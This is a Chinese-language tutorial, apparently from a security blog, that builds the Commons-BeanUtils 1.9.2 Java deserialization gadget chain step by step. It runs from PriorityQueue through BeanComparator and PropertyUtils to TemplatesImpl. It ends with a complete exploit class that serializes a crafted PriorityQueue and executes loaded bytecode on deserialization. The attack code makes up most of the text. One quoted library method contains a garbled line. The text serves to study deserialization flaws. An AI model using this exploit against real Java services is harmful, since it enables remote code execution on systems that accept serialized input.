0x01 写在前面

了解了PropertyUtils.getProperty()打通这条链子还是不难的

0x02 环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependency>  
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

0x03 CommonsBeanUtils

Apache Commons 工具集下除了 collections 以外还有 BeanUtils ,它主要用于操控 JavaBean ,以 Utils 结尾,一般这都是一个工具类/集

这里的JavaBean指的就是实体类的 get,set 方法,其实在 IDEA 当中用 Lombok 插件就可以替换 JavaBean

Demo

比如 Baby 是一个最简单的 JavaBean 类,这里定义两个简单的 getter setter 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

public class Baby {
String name = "baby";

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法

1
2
3
public static void main(String[] args) throws Exception {
System.out.println(PropertyUtils.getProperty(new Baby(),"name"));
}

img

此时,Commons-BeanUtils 会自动找到 name 属性的getter 方法,也就是 getName ,然后调用并获得返回值。这个形式就很自然得想到能任意函数调用

0x04 链子挖掘

Gadget chain

1
2
3
4
5
6
7
8
9
10
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
BeanComparator.compare()
PropertyUtils.getProperty(TemplatesImpl, outputProperties)
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()

用到了几个新类:PriorityQueue BeanComparator PropertyUtils,挖链子的时候会讲

TemplatesImpl利用

挖C11的时候已经重新挖过一遍了,这里就直接贴后半段链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class CommonsBeanUtils {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D://Task/test.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.getOutputProperties();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

PropertyUtils利用

在链子调用的TemplatesImpl.getOutputProperties()就是一个getter方法,并且作用域为public,所以可以通过 CommonsBeanUtils中的 PropertyUtils.getProperty() 方式获取

这里我们的 PropertyUtils.getProperty() 对应的参数应该如下:

1
2
3
4
5
6
7
byte[] code = Files.readAllBytes(Paths.get("D://Task/test.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
PropertyUtils propertyUtils = new PropertyUtils();
propertyUtils.getProperty(templates,"outputProperties");

BeanComparator利用

目的是找到调用getProperty()的地方,在BeanComparator.compare()

img

compare()经常被其他方法所调用,因此作为链子的一部分是非常合适的

更新demo

1
2
3
4
5
6
7
8
9
byte[] code = Files.readAllBytes(Paths.get("D://Task/test.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
PropertyUtils propertyUtils = new PropertyUtils();
BeanComparator beanComparator = new BeanComparator();
beanComparator.setProperty("outputProperties");
beanComparator.compare(templates,templates);

PriorityQueue利用

1
PriorityQueue.siftUpUsingComparator()`调用`compare()

须控制comparator属性为BeanComparator对象

img

1
PriorityQueue`类内部`siftDown()`调用`siftUpComparable()

需控制comparator属性不为空

img

PriorityQueue类内部heapify()调用siftDown(),且该方法在类的readObject()调用

img

img

加上PriorityQueue本身继承了Serializable接口,因此选择其作为入口类

现在先返回看BeanComparator.compare()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public int compare(T o1, T o2) {
//判断property是否为null
if (this.property == null) {
//不为null直接比较o1,o2
return this.internalCompare(o1, o2);
} else {
try {
//否则调用PropertyUtils.getProperty()
Object value1 = property == PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
//再进行比较
return this.internalCompare(value1, value2);
} catch (IllegalAccessException iae) {
throw new RuntimeException("IllegalAccessException: " + iae.toString());
} catch (InvocationTargetException ite) {
throw new RuntimeException("InvocationTargetException: " + ite.toString());
} catch (NoSuchMethodException nsme) {
throw new RuntimeException("NoSuchMethodException: " + nsme.toString());
}
}
}

所以如果需要传值比较,肯定是需要新建一个 PriorityQueue ,并让其有 2 个值进行比较。而且 PriorityQueue 的构造函数当中就包含了一个比较器

1
2
3
4
5
6
7
8
9
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}

最后使用queue.add()就可以完成比较,因为add()方法调用了compare()方法

img

priorityQueue类更新demo

1
2
3
4
5
6
7
8
9
10
byte[] code = Files.readAllBytes(Paths.get("D://Task/test.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator();
beanComparator.setProperty("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(1,beanComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);

最终exp

控制在它序列化的本地执行不弹出计算器,在反序列化的时候弹出计算器,通过反射修改值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommonsBeanUtils {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D://Task/test.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator();

PriorityQueue priorityQueue = new PriorityQueue(1,beanComparator);
priorityQueue.add(1);
priorityQueue.add(1);

setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(priorityQueue,"queue", new Object[]{templates, templates});

serialize(priorityQueue);
unserialize("ser.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInput ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}


}

命令执行成功

img

0x05 写在后面

和前面的CC链放一起了,毕竟都是commons家族

img